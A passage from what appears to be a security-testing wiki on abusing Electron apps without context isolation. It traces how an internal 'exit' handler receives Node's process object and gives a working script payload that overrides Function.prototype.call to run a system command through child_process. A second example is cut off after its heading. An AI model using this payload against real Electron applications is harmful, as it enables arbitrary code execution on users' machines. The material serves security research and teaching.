## Example 1
Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:
```javascript
process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
```

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists
Then it goes here:
![](<../../../.gitbook/assets/image (793).png>)
Where "self" is Node's process object:
![](<../../../.gitbook/assets/image (700).png>)
The process object has a references to "require" function:
```
process.mainModule.require
```
As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:
```html
<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>
```
## Example 2
Get **require object from prototype pollution**. From [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
